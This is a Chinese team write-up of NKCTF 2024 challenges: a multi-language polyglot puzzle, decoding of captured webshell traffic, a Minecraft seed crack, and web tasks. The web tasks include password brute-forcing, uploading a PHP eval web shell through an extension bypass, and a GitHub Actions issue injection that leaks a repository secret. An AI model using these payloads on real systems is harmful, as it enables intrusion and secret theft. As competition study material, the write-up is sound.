NKCTF 2024 部分wp

参赛队伍:あんなの嘘だよ

队伍成员: ranfeyG3rlingTianJunDreammm

解出题目

image-20240325130806340

最终排名

image-20240325130900884

个人感想

非常好内裤ctf,感谢出题师傅们的题目,特别新特别好玩(可惜我太菜了)。和师傅们一起打(坐牢)非常尽兴www。个人连续奋斗一天一夜终于赶在最后解出了ctf80。我真正参与了的就两题(哭)

解题记录

ctf80(写的有点啰嗦)

当然是从自己耗时最长题开始。这题的要求非常明了,就是要在一个文件的条件下对应各个师傅的要求的语言环境在对应的环境中能够输出对应的语句。根据附件,可以得知

image-20240325133214382

image-20240325133624970

按照顺序是要过5个沙箱,分别是在C++中输出Cain,在C中输出crazyman,在PHP中输出#/tanji(探姬师傅玩真花),在ruby中输出Bandark_JMT,在python中输出rec

先给出我的解

Iy8qdGFuamk8P3BocCBfX2hhbHRfY29tcGlsZXIoKTsKc3ByaW50ZiA9IHByaW50CnNwcmludGYoInJlYyIpCnB1dHMoIlJhbmRhcmtfSk1UIikKJycnCiMqLwojaW5jbHVkZSA8c3RkaW8uaD4gLy8/PgogaW50IG1haW4oKSB7CiNpZiBfX2NwbHVzcGx1cwpwcmludGYoIkNhaW4iKTsKI2Vsc2UKcHJpbnRmKCJjcmF6eW1hbiIpOwojZW5kaWYKIHJldHVybiAwO30KLy8nJyc=

以下为原样

#/*tanji<?php __halt_compiler();
sprintf = print
sprintf("rec")
puts("Randark_JMT")
'''
#*/
#include <stdio.h> //?>
 int main() {
#if __cplusplus
printf("Cain");
#else
printf("crazyman");
#endif
 return 0;}
//'''

PixPin_2024-03-24_19-28-38

不得不说非常好玩的题,可惜我对这些语言不熟悉花太长时间了(还是太菜了www),题目也是非常的亚萨西,如果把沙箱顺序打乱我估计就做不出来了www。

首先是要输出printf("Cain");非常直接的就

#include <iostream>

int main() {
    std::cout << "Cain";
    return 0;
}

然后就过到了crazyman

竟然莫名奇妙进入了探姬关,现在想来可能是我编码设置有问题,因为我是在win下做题的,终端是后面改为utf-8的(不然信息是乱码)然后我的Base64编码也是选的utf-8导致出错了,还有可能就是运行报错导致奇怪的bug

去“问”gpt有没有什么什么方法让一个文件在C++和C分别输出不同的字符串,得到的是(还是gpt大神)

  1. #if __cplusplus:这是一个条件编译指令,用于检查是否是C++环境。在C++环境下,__cplusplus 宏会被定义为一个非零值,因此这段代码会输出 "Cain"。
  2. #else:如果不是C++环境,会执行这个分支。

image-20240325142718083

嘛,还是报错,所以自己改了下

得到的是

#include <stdio.h>
int main() {
    #if __cplusplus
    printf("Cain");
    #else
    printf("crazyman");
    #endif
    return 0;
 }

就可以稳定的到(实际上当时我还是绕了弯)

58f082a102bf3df8c7c947d3cc3ab96

然后到PHP的探姬老师,要求输出*#/tanji**

首先我是构想出了先试一下

//<?php
echo "#/*tanji";
//?>
#include <stdio.h>
int main() {
    #if __cplusplus
    printf("Cain");
    #else
    printf("crazyman");
    #endif
    return 0;
 }

但是很奇怪,本来下面的都不在块里面不应该被输出啊而且上面的//也被输出了

于是又去搜了一下,单纯的php环境的话块外的也会作为文本输出,于是我开始死循环了,直到我注意到探姬师傅的“**#/*”。这就是妥妥的注释呀,但是在echo内的话肯定是不行的,所以要将其作为文本输出,再加上__halt_compiler()**来停止对后面的解析,就可以达到只输出探姬师傅了。但是实际上我不清楚沙箱是怎么捕获输出的,我只能试一下。

#/*tanji
<?php __halt_compiler();
*/
//?>
#include <stdio.h> 
int main() {
#if __cplusplus
printf("Cain");
#else
printf("crazyman");
#endif
 return 0;
 }

f8475690d7f87b0cb04ea4636c9acb7

好!通过了

接下来就是完全没接触过的ruby

ruby的注释符号只有# begin=end。而且我把ruby的函数翻了个遍都没有看到有什么停止解析的函数,于是乎卡了很久。知道我又看到探姬老师的那个#。#?。#!

#正是其注释符号,而且php没有缩进的判断,于是乎

#/*tanji<?php __halt_compiler();
puts("Randark_JMT")
#*/
#include <stdio.h> //?>
 int main() {
#if __cplusplus
printf("Cain");
#else
printf("crazyman");
#endif
 return 0;}

我难道是天才?!不过有运行报错?无所谓!反正已经输出了!

2f1088ba74f7ccb5799bd71cf42651e

好欸!

接下来就是我苦恼到比赛结束的python

我先直接将py和ruby放到一块在/*....*/内部,发生了语法错误,python没有main入口,运行都不行,于是我想到了用python特有的“”“来注释,再稍微调换一下位置。

我本以为ruby是不支持"""的,但是很莫名奇妙它竟然支持?!看教程上也没有(刚开始还一直担心ruby报语法错)

#/*tanji<?php __halt_compiler();
print("rec")
puts("Randark_JMT")
'''
#*/
#include <stdio.h> //?>
 int main() {
#if __cplusplus
printf("Cain");
#else
printf("crazyman");
#endif
 return 0;}
//'''

但是还有问题,ruby同样是有print函数的,没法单独输出Randark_JMT,然后开始的坐牢,中途试过定义函数,数组,变量差异,+-\的换行差异,print函数的格式化方法差异,异常处理,但是都不行,基本都有语法错误。直到我发现,python可以简单的通过=来重命名函数!我看到这句时眼睛瞬间睁大了,就是你!

思路非常明显,类似于缓存一样作为一个中转,让print后执行,而且=在ruby也不会报错,只是运行后面的函数

image-20240325161753039

顺带一提,ruby的重命名的方法是 alias 新方法名 旧方法名 但是在py过不了语法,所以没办法

#/*tanji<?php __halt_compiler();

peee = print
puts = XXXX
puts("Randark_JMT")
peee("rec")
'''
#*/
#include <stdio.h> //?>
 int main() {
#if __cplusplus
printf("Cain");
#else
printf("crazyman");
#endif
 return 0;}
//'''

这是一开始的思路,但是这样就要求XXXX是一个ruby和py都有的全局函数而且可以传入字符串

找来找去,只有exit()符合条件,但是众所周知,用了就无了

后来发现,其实可以更简单,这种方法只要一个ruby中可以传入字符串而且不产生输出的函数就可以了,于是随便找了个sprintf

就得到了最终解

#/*tanji<?php __halt_compiler();
sprintf = print
sprintf("rec")
puts("Randark_JMT")
'''
#*/
#include <stdio.h> //?>
 int main() {
#if __cplusplus
printf("Cain");
#else
printf("crazyman");
#endif
 return 0;}
//'''

终于赶在比赛结束前搞出来了了,不容易啊,一天一夜qwq

flag!得到!

PixPin_2024-03-24_19-28-38

NKCTF{fabaae0b-a77f-4dfb-9889-c948e0a30621}

Webshell_pro

这是我唯二参与了的题,主要是使用Wireshark来对流量包进行分析

先对传输的内容进行过滤,得到了两种加密密文,主要是以下两类

image-20240326000014609

image-20240326000029450

根据工具可以知道一个是客户机发出指令一个是服务机回复、服务机发出的很明显是base32

对所有base32解密后可以得到

====
/bin/sh: 1: ipconfig: not found
====
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1460
        inet 172.22.161.159  netmask 255.255.240.0  broadcast 172.22.175.255
        inet6 fe80::215:5dff:fe18:b845  prefixlen 64  scopeid 0x20<link>
        ether 00:15:5d:18:b8:45  txqueuelen 1000  (Ethernet)
        RX packets 26778  bytes 10199358 (10.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1240  bytes 175322 (175.3 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
====
Docker
bin
boot
dev
etc
home
init
lib
lib32
lib64
libx32
lost+found
media
mnt
mysql_data
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
wslOHicoG
wslbmJCJF
wslgCJNfE
wslhaGDbD
====
Compressed
Desktop
Documents
Downloads
FLAG
Music
Pictures
Public
Templates
Videos
WSL
====
hint.py
小明的日记.txt
====
cat: 小明的日记.txt: No such file or directory
====
FLAG is NOT HERE!!!!!!!!!!!

PASSWORD:
Password-based-encryption
====
import base64
import libnum
from Crypto.PublicKey import RSA

pubkey = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB
-----END PUBLIC KEY-----
"""

prikey = """-----BEGIN PRIVATE KEY-----
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg==
-----END PRIVATE KEY-----
"""

pubkey = RSA.import_key(pubkey)
prikey = RSA.import_key(prikey)
n = pubkey.n

def enc_replace(base64_str: str):
    base64_str = base64_str.replace("/", "e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM")
    base64_str = base64_str.replace("+", "n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W")
    return base64_str.replace("=", "JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2")

def encrypt(plain_text):
    # 私钥加密
    cipher_text = b""
    for i in range(0, len(plain_text), 128):
        part = plain_text[i:i+128]
        enc = libnum.n2s(pow(libnum.s2n(part), prikey.d, n))
        cipher_text += enc
    return enc_replace(base64.b64encode(cipher_text).decode())

if __name__ == '__main__':
    m = b"-RSA-" * 30
    print(f"原始数据: {m}")

    c = encrypt(m)
    print(f"加密数据: {c}")

====
flag.txt
hint.py
小明的日记.txt
====
Good Luck! ByeBye~

我们可以得知有什么文本,然后对其中的hint.py的加密算法进行逆向,可以得到以下解密脚本

import base64
import libnum
from Crypto.PublicKey import RSA
# 公钥和私钥定义略
pubkey = """-----BEGIN PUBLIC KEY-----

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB

-----END PUBLIC KEY-----

"""
prikey = """-----BEGIN PRIVATE KEY-----

MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg==

-----END PRIVATE KEY-----

"""
pubkey = RSA.import_key(pubkey)
prikey = RSA.import_key(prikey)
n = pubkey.n
def dec_replace(encoded_str: str):
    # 自定义替换字符的逆过程
    encoded_str = encoded_str.replace("e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM", "/")
    encoded_str = encoded_str.replace("n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W", "+")
    return encoded_str.replace("JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2", "=")
def decrypt(encrypted_text):
    # 使用公钥解密
    encrypted_text = dec_replace(encrypted_text)
    encrypted_data = base64.b64decode(encrypted_text)
    plain_text = b""
    for i in range(0, len(encrypted_data), 128): # 注意修改为合适的分块大小
        part = encrypted_data[i:i+128]
        dec = libnum.n2s(pow(libnum.s2n(part), pubkey.e, n))
        plain_text += dec
    return plain_text
if __name__ == '__main__':
    encrypted_message = "***********" # 加密消息字符串
    print("解密数据:", decrypt(encrypted_message))

然后再对客户机发出的指令解密,就得到了写入flag.txt的密文为

b'echo U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ== > /root/FLAG/flag.txt'

b'ls /root/FLAG'
flag.txt
hint.py
小明的日记.txt

先对这个密文分析,大概是base家族的,然后base64解密出来

image-20240326001834946

欸?有点怪

搜索这个可以找到其他大佬的wp的解说

image-20240326002110785

确定是AES,利用线上工具就可以得到再结合先前小明日记内的密码

PASSWORD:
Password-based-encryption

image-20240326002432385

就出来了

flag{d0e1183c-07c3-49ea-b048-addbe6cc1b20}

my first cms

打开链接,进入登录界面,尝试登录,用户名用常用的admin,密码用bp进行爆破(通过字典),结束后发现密码是Admin123。

image-20240325095039347

登录后,进入以下界面,发现File Manager 处有上传点,并且点击copy发现能改文件名猜测可能包含文件扩展名,于是上传文件内容<?php eval($_POST[1]); ?>并将其改成图片格式,而后上传后点击copy将其后缀改为.php随后打开文件运行代码,打开HARKBAR 进行post传输1=system(cat%20/flag);

得到Flag

3715cee1aa8d6f9d942da8c6c47d748

NKCTF{e129d899-b02e-49f1-ab92-004dda47c8dd}

signin

随波逐流一把梭

img

wx关注公众号:猎刃实验室,发送口令 NKCTF2024_signIn

得到Flag

img

nkctf{hell0_w41coMe_2_NKCTF_2024}

Minecraft:SEED

需要找到服务器地图种子来获取Flag,下载SeedCrackerX根据说明书食用

Github地址:19MisterX98/SeedcrackerX (github.com)

image-20240324160039787

image-20240324160056835

NKCTF{07efe5eb-318e-486a-8c1c-6fc9304c6b16}

有几个要注意的地方:

1.服务器版本是1.20.x的,根据游戏客户端版本下载相应的SeedCrackerX版本
2.下载的.jar文件需要放在相应版本客户端的Mods文件夹里

任何组合都是有效的。例如:3 艘沉船、1 座金字塔和 1 座冰屋。 您可以使用“/seed data bits”查看您的进程。(查看可挖掘结构的位数) 当结构周围有轮廓时,就代表Mod找到了结构。 在你得到足够的数据后,破解过程会自动开始。需要 1-5 分钟。 在这之后,mod可能会要求你寻找额外的结构。 相同类型的比特和结构越少,就越有可能找到。 减少你的结构种子后,该mod将通过地牢位置或散列的种子对你的世界种子进行暴力破解.

进去找沉船应该是最快的,出生点背后河道可以直通大海

world.execute.me

首先解读兜底系统数据规则

QUESTION=$(echo '${{ github.event.issue.body }}' | grep -oP 'Question:.*$')

image-20240324201931759

因此在问题中应该以Question:开头,否则无输出

ANSWER=$(eval "$ANSWER" 2>&1) # world.execute(DeBug);

image-20240325092008012

而在Answer中因为正则表达式则不能以Question:开头。因此我们得到echo的格式为

Question:echo xxxxxxx
echo xxxxxxx

根据提示,我们会发现这个地方是需要得到的值,并有注释提醒

image-20240325092214284

所以我们直接可以echo“HEART” 的环境变量,从 GitHub 仓库的 secrets 中获取我们所需的值

Question:echo “$HEART”
echo “$HEART”

{4A5FAF65-2D50-45ad-8997-397245CE6AF3}

得到Flag

NKCTF2024{Then_1_c4n_b3_y0ur_only_EXECUTION}
QQ:2219349024
最后更新于 2024-05-14